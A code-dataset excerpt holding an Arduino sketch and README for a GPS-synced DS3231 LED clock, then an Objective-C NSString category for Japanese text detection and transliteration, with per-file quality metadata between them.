isLeap() byte dowDate(int y, byte n, byte dow_target, byte m) { // returns date number in month of nth day of week in month char temp = 1; // char because could be negative. Set at 1 for 1st of month. byte maxDays = days[m]; // number of days in given month if (m==2) { maxDays = days[m] + isLeap(y); } byte startDOW = dow(y,m,1); //gets dow of 1st of given month temp += dow_target - dow(y,m,1); if (temp < 0) { temp += 7; } //end if temp += 7*(n-1); if (temp > maxDays) { temp -= 7; } return temp; } //end dowDate() byte dow(int y, byte m, byte d) { //pass non-leading zero values static byte t[] = {0,3,2,5,0,3,5,1,4,6,2,4}; y -= m < 3; return (y + y/4 - y/100 + y/400 + t[m-1] + d) % 7; // returns [0..6] for [Sunday...Saturday] } //end of dow() void getLocalTime(int y, byte mo, byte d, byte h, byte m) { // **this function sets offMO, offDD, offYYYY, offHH, offMM to local time** // we first get a baseline offset // NOTE: int y is being passed as RTC's 2-digit date. if (yyyyGPS == 0) { // Converting RTC 2 digit date to 4 digit: y += currentCentury; // takes our 2-digit year and converts to 4 digit } else { // or if GPS signal available, we just use that y = yyyyGPS; // uses GPS 4-digit year if available } offsetAdj(y,mo,d,h,m,offsetStandardHr,offsetStandardMin); // next we do our DST checks, and recalc offset if DST is in effect if (offMO > startDST[2] && offMO < startStandard[2]) { offsetAdj(y,mo,d,h,m,offsetDSTHr,offsetDSTMin); } //end if else if (offMO == startDST[2]) { byte dowDateDST = dowDate(y,startDST[0],startDST[1],startDST[2]); if (offDD > dowDateDST) { offsetAdj(y,mo,d,h,m,offsetDSTHr,offsetDSTMin); } //end if else if (offDD == dowDateDST && offHH >= startDST[3]) { offsetAdj(y,mo,d,h,m,offsetDSTHr,offsetDSTMin); } //end else if } //end else if else if (offMO == startStandard[2]) { byte dowDateStd = dowDate(y,startStandard[0],startStandard[1],startStandard[2]); if (offDD < dowDateStd) { offsetAdj(y,mo,d,h,m,offsetDSTHr,offsetDSTMin); }// end if else if (offDD == dowDateStd && offHH < (startStandard[3]-1)) { offsetAdj(y,mo,d,h,m,offsetDSTHr,offsetDSTMin); }// end else if } //end else if } //end getLocalTime() //**** RTC HANDLERS ****// void getRTC() { //reads all current time/date data from DS3231 chip via I2C // ssRTC, mmRTC, hhRTC, dowRTC, ddRTC, moRTC, ctyRTC, yyRTC; byte temp_buffer; Wire.beginTransmission(RTC_I2C_ADDRESS); Wire.write(0x00); //set register points to address 00h on DS3231 Wire.endTransmission(); Wire.requestFrom(RTC_I2C_ADDRESS, 7); // need 7 reads to clear this. ssRTC = bcd2dec(Wire.read()); // read reg 0 [range 00-59] mmRTC = bcd2dec(Wire.read()); // read reg 1 [range 00-59] hhRTC = bcd2dec(Wire.read() & 0b00111111); // read reg 2 and mask out BITS 7-8 dowRTC = bcd2dec(Wire.read()); // read reg 3 [range 1-7] ddRTC = bcd2dec(Wire.read()); // read reg 4 [range 01-31] temp_buffer = bcd2dec(Wire.read()); // read reg 5 moRTC = bcd2dec(temp_buffer & 0b00011111); ctyRTC = temp_buffer >> 7; yyRTC = bcd2dec(Wire.read()); //read reg 6 [range 00-99] } //end of getRTC() bool RTC_detect() { //Detects DS3231 SQW falling edge RTC_SQW_Prev = RTC_SQW_Current; RTC_SQW_Current = digitalRead(RTC_SQW_Pin); return (RTC_SQW_Prev == HIGH && RTC_SQW_Current == LOW); } //end of detect_RTC void displayRTCDate() { // adjusts to local date if flag set getRTC(); // updates ssRTC, mmRTC, hhRTC, dowRTC, ddRTC, moRTC, ctyRTC, yyRTC; if (UTC_offset_enable == false) { // if flag false, we do UTC time and date displayRTC_timeOnMax(ddRTC,moRTC,yyRTC); // displays UTC date } //end if else { // else requests local offset time getLocalTime(yyRTC,moRTC,ddRTC,hhRTC,mmRTC); // updates offDD,offMO,offYYYY displayRTC_timeOnMax(offDD,offMO,offYYYY % 100); } } //end displayRTCDate void countUp() { RTC_SQW_Prev = RTC_SQW_Current; RTC_SQW_Current = digitalRead(RTC_SQW_Pin); if (counter_enable && RTC_SQW_Prev == HIGH && RTC_SQW_Current == LOW) { //tests for falling edge countSS++; if (countSS == 60) { countSS = 0; countMM++; } //end if if (countMM == 60) { countMM = 0; countHH++; } //end if if (countHH == 100) { countHH = 0; } displayRTC_timeOnMax(countHH,countMM,countSS); } //end if } //end of countUp void displayRTC() { //updates display if new RTC time. Detects DS3231 SQW falling edge then trigger display of time update RTC_SQW_Prev = RTC_SQW_Current; RTC_SQW_Current = digitalRead(RTC_SQW_Pin); if (RTC_SQW_Prev == HIGH && RTC_SQW_Current == LOW) { //test for falling edge getRTC(); // updates ssRTC, mmRTC, hhRTC, dowRTC, ddRTC, moRTC, ctyRTC, yyRTC; if (UTC_offset_enable == false) { // flag requests UTC time displayRTC_timeOnMax(hhRTC,mmRTC,ssRTC); } //end if else { // flag requests local offset time getLocalTime(yyRTC,moRTC,ddRTC,hhRTC,mmRTC); displayRTC_timeOnMax(offHH,offMM,ssRTC); } //end else } //end if } // end of displayRTC() void displayRTC_now() { //immediate retrieve and display of RTC time registers getRTC(); // updates ssRTC, mmRTC, hhRTC, dowRTC, ddRTC, moRTC, ctyRTC, yyRTC; displayRTC_timeOnMax(hhRTC,mmRTC,ssRTC); } // end of displayRTC() void sendRTC(byte reg_addr, byte byte_data) { Wire.beginTransmission(RTC_I2C_ADDRESS); Wire.write(reg_addr); //set register pointer to address on DS3231 Wire.write(byte_data); Wire.endTransmission(); } //end of sendRTC() byte getSingleRTC(byte reg_addr) { //returns a single raw byte from the provided address register Wire.beginTransmission(RTC_I2C_ADDRESS); Wire.write(reg_addr); //set to reg address on DS3231 Wire.endTransmission(); Wire.requestFrom(RTC_I2C_ADDRESS, 1); return (Wire.read()); } //end of getRTC_BCD() void setRTC_Time(byte hh, byte mm, byte ss) { //must be [0-99] // example use: setRTC_Time(23,49,50); //hh,mm,ss Wire.beginTransmission(RTC_I2C_ADDRESS); Wire.write(0x00); //set register pointer to address on DS3231 Wire.write(dec2bcd(ss)); //set seconds Wire.write(dec2bcd(mm)); //set minutes Wire.write(dec2bcd(hh)); //set hours. Bit 6 low keeps at 24hr mode. So can leave as is. Wire.endTransmission(); } //end of setRTC_Time() void setRTC_Date(int yyyy, byte mo, byte dd) { Wire.beginTransmission(RTC_I2C_ADDRESS); Wire.write(0x04); //set register pointer to address on DS3231 Wire.write(dec2bcd(dd)); //set date. sending the last 2 digits only. Wire.write(dec2bcd(mo)); //set month. ignore century as don't have any use for that. Wire.write(dec2bcd(yyyy % 100)); //set year. sending the 2 LS digits only. Wire.endTransmission(); } //end of setRTC_Time() //**** STATE MACHINE **** // void RunStateMachine() { byte temp_buffer; switch (StateMachine) { case DEBUG: //remember, it's looping! if (RTC_detect()) { t1=micros(); } if (PPS_detect()) { t2=micros(); } break; //end DEBUG case // ------------------------------ case BOOTUP: sendRTC(0x0E,0x00); // enables the 1Hz pulse on RTC DS3231's SQW pin delay(50); temp_buffer = getSingleRTC(0x02); //get hour byte from addr 0x02. Bit 6: LOW (0) = 24 hr mode. HIGH (1) = 12 hr. if ((temp_buffer & 0b01000000) != 0) { //if Bit 6 is HIGH, i.e., if 24 hour time is *not* set, then... getRTC(); // grab time if (mmRTC > 58 && ssRTC > 58) { // checking to make sure not near an hours rollover. break; //keep breaking until we roll over the seconds } //end if else { sendRTC(0x02,temp_buffer ^ 0b01000000); //set BIT 6 low to enable 24 hr time } //end else } //end if //StateMachine = DEBUG; // >>>> State Change! <<<<// StateMachine = REG_OPS; // >>>> State Change! <<<<// t0=micros(); break; //end BOOTUP case // ------------------------------ case REG_OPS: displayRTC(); //keep the trains running if (mmRTC == 15 && ssRTC == 0) { //every hour at minute 15, do a GPS_INIT check to prep for GPS-to-RTC time update GPS_INIT_t0 = millis(); //sets our timer to allow a timeout in the next state StateMachine = GPS_INIT; // >>>> State Change! <<<<// break; } //end if if (pulseFlag == 1) { detachInterrupt(digitalPinToInterrupt(ir_pin)); //stop interrupt while we process SonyIR_analyzer(); attachInterrupt(digitalPinToInterrupt(ir_pin), ISR_pulse_detected, CHANGE); } // end if break; //end REG_OPS case // ------------------------------ case TOGGLE_DISPLAY: //holds the display before resuming regular ops if (millis() - t1 < 3500) { break; } else { StateMachine = REG_OPS; break; } //end TOGGLE_DISPLAY case // ------------------------------ case COUNTER: //runs the counter countUp(); if (pulseFlag == 1) { detachInterrupt(digitalPinToInterrupt(ir_pin)); //stop interrupt while we process SonyIR_analyzer(); attachInterrupt(digitalPinToInterrupt(ir_pin), ISR_pulse_detected, CHANGE); } // end if break; // ------------------------------ case CHECK_PPS: //displays whether a PPS pulse is coming from GPS if (millis() - t1 < 4000) { if (PPS_detect()) { maxDisplay(P,P,S,blank,O,N,blank,blank); } break; } else { StateMachine = REG_OPS; break; } //end TOGGLE_DISPLAY case // ------------------------------ case GPS_INIT: displayRTC(); // keeps the trains running on the display! if (PPS_detect()) { //means PPS is detected on the GPS unit StateMachine = GPS_PPS_SYNC; // >>>> State Change! <<<<// clearSerialInputBuffer(); //purges old GPS data in serial buffer break; } //end if if (millis() - GPS_INIT_t0 > 4000) { //timeout this state after 4 secs if no PPS detected StateMachine = GPS_NMEA_SYNC; // >>>> State Change! <<<<// clearSerialInputBuffer(); //purges old GPS data in serial buffer break; } //end if break; //end GPS_INIT case // ------------------------------ case GPS_PPS_SYNC: byte ssGPS_incr; displayRTC(); //keep the trains running while reading serial input! if (newGPS_timeAvail && !GPS_sec_primed) { //here we prime the GPS seconds by incrementing 1s as we wait for a PPS signal ssGPS_incr = (ssGPS + 1) % 60; GPS_sec_primed = true; newGPS_timeAvail = false; // set this false to force another read post PPS. } //end if if (PPS_detect() && GPS_sec_primed) { // if PPS detected send only the primed second to RTC sendRTC(0x00,dec2bcd(ssGPS_incr)); // here is where we would add delay for insanity mode PPS_done = true; } //end if if (PPS_done && GPS_sec_primed && newGPS_timeAvail) { // send minutes and hours of next NMEA time read after PPS sendRTC(0x01,dec2bcd(mmGPS)); sendRTC(0x02,dec2bcd(hhGPS)); GPS_sec_primed = false; newGPS_timeAvail = false; } //end if if (newGPS_dateAvail && PPS_done) { setRTC_Date(yyyyGPS,moGPS,ddGPS); newGPS_dateAvail = false; //this completed the date and time update. PPS_done = false; StateMachine = REG_OPS; // >>>> State Change! <<<<// break; } //end if //need a timeout where after 30 seconds of no updates it goes back to REG_OPS if (NMEA_processFlag) { processNMEA(); } //end if else { if (Serial.available() > 0) { if (Serial.read() == '$') { //start of NMEA message NMEA_processFlag = true; //we only want to start processing at beginning of message GGA_msg = false; RMC_msg = false; ZDA_msg = false; byteIndex = 1; } //end if } //end if } //end else if (millis() - GPS_INIT_t0 > 14000) { //timeout this state after 10 secs if no PPS detected StateMachine = REG_OPS; // >>>> State Change! <<<<// } break; //end GPS_PPS_SYNC case // ------------------------------ case GPS_NMEA_SYNC: displayRTC(); //keep the trains running while reading serial input! if (newGPS_timeAvail) { setRTC_Time(hhGPS,mmGPS,ssGPS); newGPS_timeAvail = false; } //end if if (newGPS_dateAvail) { setRTC_Date(yyyyGPS,moGPS,ddGPS); newGPS_dateAvail = false; //this completed the date and time update. StateMachine = REG_OPS; // >>>> State Change! <<<<// break; } //end if if (NMEA_processFlag) { processNMEA(); } //end if else { if (Serial.available() > 0) { if (Serial.read() == '$') { //start of NMEA message NMEA_processFlag = true; GGA_msg = false; RMC_msg = false; ZDA_msg = false; byteIndex = 1; } //end if } //end if } //end else if (millis() - GPS_INIT_t0 > 14000) { //timeout this state after 10 secs if no PPS detected StateMachine = REG_OPS; // >>>> State Change! <<<<// } break; //end GPS_NMEA_SYNC case } //end switch StateMachine } //end of RunStateMachine() void setup() { // put your setup code here, to run once: delay(1000); //give system time to stabilize //start up SPI for Max7219 SPI.beginTransaction(SPISettings(10000000, MSBFIRST, SPI_MODE0)); //per Max7219 Datasheet, 10MHz, MSB pinMode(ChipSelectPin, OUTPUT); //sets the output pin for SS/CS digitalWrite(ChipSelectPin,HIGH); // take the CS/SS pin high to deselect the chip SPI.begin(); //initialize the SPI bus using our settings from above initializeMax7219(); //sets all startup parameters for Max7219 chip delay(100); pinMode(RTC_SQW_Pin, INPUT_PULLUP); // SQW is open drain on DS3231, so need internal pullup enabled. pinMode(GPS_PPS_Pin, INPUT); pinMode(ir_pin, INPUT_PULLUP); Wire.setClock(400000); //i2C 100kHz typical. 400kHz fast mode. DS3231 RTC supports fast mode. delay(100); //more stabilizing Serial.begin(9600); // for the GPS unit. Later set to Serial when debugging done. delay(100); //more stabilizing attachInterrupt (digitalPinToInterrupt(ir_pin), ISR_pulse_detected, CHANGE); StateMachine = BOOTUP; //set the initial state } void loop() { // put your main code here, to run repeatedly: RunStateMachine(); }
32,820
GPS-RTC-Clock
ino
en
cpp
code
{"qsc_code_num_words": 4331, "qsc_code_num_chars": 32820.0, "qsc_code_mean_word_length": 4.39274994, "qsc_code_frac_words_unique": 0.18679289, "qsc_code_frac_chars_top_2grams": 0.0222339, "qsc_code_frac_chars_top_3grams": 0.00588699, "qsc_code_frac_chars_top_4grams": 0.00798949, "qsc_code_frac_chars_dupe_5grams": 0.27479632, "qsc_code_frac_chars_dupe_6grams": 0.23558476, "qsc_code_frac_chars_dupe_7grams": 0.20814717, "qsc_code_frac_chars_dupe_8grams": 0.1970565, "qsc_code_frac_chars_dupe_9grams": 0.17892247, "qsc_code_frac_chars_dupe_10grams": 0.16194481, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.06178344, "qsc_code_frac_chars_whitespace": 0.28244973, "qsc_code_size_file_byte": 32820.0, "qsc_code_num_lines": 1003.0, "qsc_code_num_chars_line_max": 131.0, "qsc_code_num_chars_line_mean": 32.7218345, "qsc_code_frac_chars_alphabet": 0.74607219, "qsc_code_frac_chars_comments": 0.40060938, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.2007874, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00127091, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.01016725, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": 0.00393701, "qsc_codecpp_frac_lines_func_ratio": 0.05511811, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.06299213, "qsc_codecpp_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
00steve00/Super-Accurate-Arduino-Clock
README.md
# Super Accurate Arduino with GPS Clock An arduino based clock with 1ms accuracy over a year. Time stored in RTC continually updated by GPS module Project goal: Create a super-accurate (<1ms drift per year) standalone 7-segment LED clock whose time stays accurate and "sets itself" without access to the Internet or a host computer (i.e., without using NTP servers) by updating time via GPS time signals. Since GPS satellites have their own onboard atomic clocks, this is an extremely stable and accurate time source! The code only uses SPI.h and Wire.h comm libraries; everything else (interfacing with GPS module, Max7219, RTC DS3231, time calculations) is coded "manually" with NO OTHER additional libraries (as a challenge and learning experience). So the total code base ends up being quite light (about 7,300 bytes). Project design: Arduino controller (Mega for prototyping, Nano for deployment); 8-digit 7-segment LED display module with Max 7219 controller chip; Ublox Neo-6M (clone) GPS module; DS3231 RTC module. External power supply via 5V USB phone charger. Requirements: RTC clock time appears on the 7-segment LED display. RTC clock time is updated *hourly* by syncing with GPS module's 1Hz PPS signal (this achieves the <1ms accuracy)... so that the clock "sets itself" on a permanent basis without user intervention. User-defined UTC offsets (in code) display time in local time zone. User-defined daylight-savings rules, including fractional hour offsets (need to make sure it can work in Nepal!). If power is lost, unit maintains time through RTC battery backup. How it works: There are 2 ways to pull time and date from the GPS module. One is by reading various NMEA sentences and parsing them (this appears to be the most common approach if you check out other GPS clock projects). BUT... there is quite a bit of latency in the time it takes for the NMEA sentence to be sent, read, and parsed, especially at 9600 baud. I measured about 450ms (almost half a second!) latency when I compared the time set parsing NMEA sentences to the highly accurate 1Hz time-pulse output of the GPS module. We can do better than 450ms, right? YOU BET! Read on... The magic happens in that the Neo 6M GPS module is capable of outputting a 1Hz "Pulse Per Second" (PPS) signal. This signal is precisely synced to the UTC time received from the GPS satellites once the GPS module has a fix. So we will set time with this PPS reference (via digital reads), and NOT the NMEA sentences. (Make sure to get a module board that has the PPS pin on it... not all modules do!). Do we really need this absurd level of accuracy? Of course not! But... it's fun. To further minimize latency, when my code prepares to sync the RTC to GPS, it reads a standard NMEA sentence, then increments the second to be "primed and ready" for the next PPS signal. That way, as soon as the PPS signal is received, we immediately writes the new second to the time registers on the RTC When syncing with this PPS method, I get a 20 *micro*second difference between the RTC squarewave output and the GPS's PPS signal right after doing the syncing. By doing the sync every hour, we assure a super-accurate RTC time register is maintained. The RTC 1Hz squarewave output in turn triggers an update of the RTC time to the LED display. Accounting for the time it takes to read the RTC time registers and then output those data to the LED module, I've calculated a total latency of about 400 *micro*seconds best case and, as the RTC's accuracy drifts over the hour, around 1.2ms worst case. IMPLEMENTATION NOTES: A) GPS Module and super accurate time-setting. This whole project hinges on the ability of the GPS receiver to output a 1 Hz PPS (pulse-per-second) signal based on the UTC time received from the GPS satellites. The documentation for the U-blox Neo-6M GPS receiver is formidable. (My clone seems to have the same functionality.) The full documentation is 200+ pages: U-blox 6 Receiver Description and Protocols. The important part for our application is the timepulse feature. The unit has a timepulse output that defaults to 1Hz pulses (goes high for 100ms every 1000ms) when the GPS receiver has a GPS fix lock. (In the documentation, see Appendix Section A.17 for the timepulse default settings on the 6M.) The timepulse goes high at the "top of the second" -- so the rising edge is what we want to watch for on the module PPS pin in order to set our RTC as precisely as possible. On the modules commonly available for purchase, the timepulse output is on the PPS pin. As mentioned above, make sure the module you purchase actually has the PPS pin. Some Neo-6M modules for sale out there don't have it. Check pictures carefully or ask the seller. You're paying for the whole GPS receiver chip, you should be able to access all its functions! B) UTC Offsets for local time - without a library! Implementing the offset is fairly straightforward for whole hour offsets, but more complicated for fractional hours. There are many places around the world with fractional hour offsets from UTC. My code allows the user to specify the offset in both hours and minutes relative to UTC. C) Daylight savings - without a library! The tricky part here is that in the US and Europe, for example, the begin and end dates of "daylight savings" or "summer time" are defined not as specific dates each year, but in terms of "second Sunday of March" or "first Sunday of November". So the actual start/end dates move around year to year. My code allows the user to specify the formula in a format of "nth" day of the week for a given month, at a given time. The code then determines on the fly whether DST is in effect at any given time based on the settings. If a location doesn't observe DST, then simply put an arbitrary start/end time and make sure the offset hours are the same. D) RTC modules - hardware hidden traps! There are loads of very cheap DS3231 RTC modules out there. But there are some things to watch out for! First, not every DS3231 chip is the same on these modules. There is the higher accuracy (+/- 2ppm) DS3231-SN chip, and the lower accuracy (+/- 5ppm) DS3231-M chip. Might as well spend a few extra pennies and get the good one. I had to ask several sellers till I found one that promised it was the SN chip. E) IR Receiver - this code also implements an IR demodulator receiver feature to decode commands sent by an infrared remote control, in this case a Sony remote. Again, the code does not rely on libraries. This code assumes a 20-bit Sony remote protocol. The code could easily be adapted to other protocols.
6,614
README
md
en
markdown
text
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": 0.35435861, "qsc_doc_num_sentences": 77.0, "qsc_doc_num_words": 1185, "qsc_doc_num_chars": 6614.0, "qsc_doc_num_lines": 28.0, "qsc_doc_mean_word_length": 4.37637131, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.03571429, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.38649789, "qsc_doc_entropy_unigram": 5.43486789, "qsc_doc_frac_words_all_caps": 0.07937633, "qsc_doc_frac_lines_dupe_lines": 0.0, "qsc_doc_frac_chars_dupe_lines": 0.0, "qsc_doc_frac_chars_top_2grams": 0.01060548, "qsc_doc_frac_chars_top_3grams": 0.00636329, "qsc_doc_frac_chars_top_4grams": 0.00694177, "qsc_doc_frac_chars_dupe_5grams": 0.0266101, "qsc_doc_frac_chars_dupe_6grams": 0.0266101, "qsc_doc_frac_chars_dupe_7grams": 0.0266101, "qsc_doc_frac_chars_dupe_8grams": 0.0266101, "qsc_doc_frac_chars_dupe_9grams": 0.0, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 1.0, "qsc_doc_num_chars_sentence_length_mean": 55.05932203, "qsc_doc_frac_chars_hyperlink_html_tag": 0.0, "qsc_doc_frac_chars_alphabet": 0.9359045, "qsc_doc_frac_chars_digital": 0.01652893, "qsc_doc_frac_chars_whitespace": 0.1767463, "qsc_doc_frac_chars_hex_words": 0.0}
1
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
00StevenG/NSString-Japanese
NSString+Japanese.h
// // NSString+JapaneseExtras.m // // Created by Grace Steven on 3/26/11. // Copyright 2011 works5.com All rights reserved. // #import <Foundation/Foundation.h> /* * Text Type */ typedef enum{ SLGJapaneseStringTypeHiragana, SLGJapaneseStringTypeKatakana, SLGJapaneseStringTypeKanji, SLGJapaneseStringTypeCompound, SLGJapaneseStringTypeOther, }SLGJapaneseStringType; @interface NSString (NSString_Japanese) // returns the type of text contained in the string (mixed or just hiragana / katakan / kanji etc) +(SLGJapaneseStringType)japaneseStringTypeForString:(NSString*)string; // checks if any of the chars in the string are katakana or hiragana or kanij +(BOOL)stringContainsJapaneseText:(NSString*)aString; // transliteration -(NSString*)stringByTransliteratingJapaneseToRomajiWithWordSeperator:(NSString*)separator; // calls stringByTransliteratingJapaneseToRomajiWithWordSeperator: with 'nil' -(NSString*)stringByTransliteratingJapaneseToRomaji; -(NSString*)stringByTransliteratingJapaneseToHiragana; -(NSString*)stringByTransliteratingRomajiToKatakana; -(NSString*)stringByTransliteratingRomajiToHiragana; // Kanji -(NSString*)stringByReplacingJapaneseKanjiWithHiragana; // very RUDIMENTARY 'sounds like' comparison of two japanese strings // compares the the reciever to the passed string // returns a 'score' from 0 to 1 (1 being the most similar to the reciever) -(CGFloat)phoneticSimilarityToString:(NSString*)targetString; // pass YES to improve performance by skipping transliteraion // the reciever and the passed string should already be converted to latinScript -(CGFloat)phoneticSimilarityToString:(NSString*)string isLatinScript:(BOOL)isLatinScript; @end
1,721
NSString+Japanese
h
en
c
code
{"qsc_code_num_words": 159, "qsc_code_num_chars": 1721.0, "qsc_code_mean_word_length": 8.65408805, "qsc_code_frac_words_unique": 0.65408805, "qsc_code_frac_chars_top_2grams": 0.02398256, "qsc_code_frac_chars_top_3grams": 0.01598837, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00855263, "qsc_code_frac_chars_whitespace": 0.11679256, "qsc_code_size_file_byte": 1721.0, "qsc_code_num_lines": 62.0, "qsc_code_num_chars_line_max": 99.0, "qsc_code_num_chars_line_mean": 27.75806452, "qsc_code_frac_chars_alphabet": 0.89671053, "qsc_code_frac_chars_comments": 0.44625218, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.0, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
00StevenG/NSString-Japanese
NSString+Japanese.m
// // NSString+JapaneseExtras.h // // Created by Grace Steven on 3/26/11. // Copyright 2011 works5.com All rights reserved. // #import "NSString+Japanese.h" #import <UIKit/UITextChecker.h> @implementation NSString (NSString_Japanese) /* + Character unicode memo + + Hiragana: + Hiragana: 3040-309F + + Katakana: + Katakana: 30A0-30FF (except 30FB: KATAKANA MIDDLE DOT) + Halfwidth and Fullwidth Forms (FF00-FFEF): FF66-FF9F + * Katakana Phonetic Extensions: 31F0-31FF + + Kanji: + CJK Radicals Supplement: 2E80-2EFF + Kangxi Radicals: 2F00-2FDF + CJK Unified Ideographs: 4E00-9FAF + * Ideographic Description Characters: 2FF0-2FFF + * CJK Unified Ideographs Extension A: 3400-4DBF + * CJK Compatibility Ideographs: F900-FAFF + + Kigou: + * Arrows: 2190-21FF + * Mathematical Operators: 2200-22FF + * Box Drawing: 2500-257F + * Geometric Shapes: 25A0-25FF + * Miscellaneous Symbols: 2600-26FF + * CJK Symbols and Punctuation (3000-303F): 3003-303F + * Enclosed CJK Letters and Months: 3200-32FF + * CJK Compatibility: 3300-33FF + * CJK Compatibility Forms: FE30-FE4F + * Halfwidth and Fullwidth Forms (FF00-FFEF): FF5F-FF60, FF62-FF63, FFE0-FFF6, FFE8-FFEE + * and others? + + Space: + C0 Controls and Basic Latin (0000-007F): 0020 + CJK Symbols and Punctuation (3000-303F): 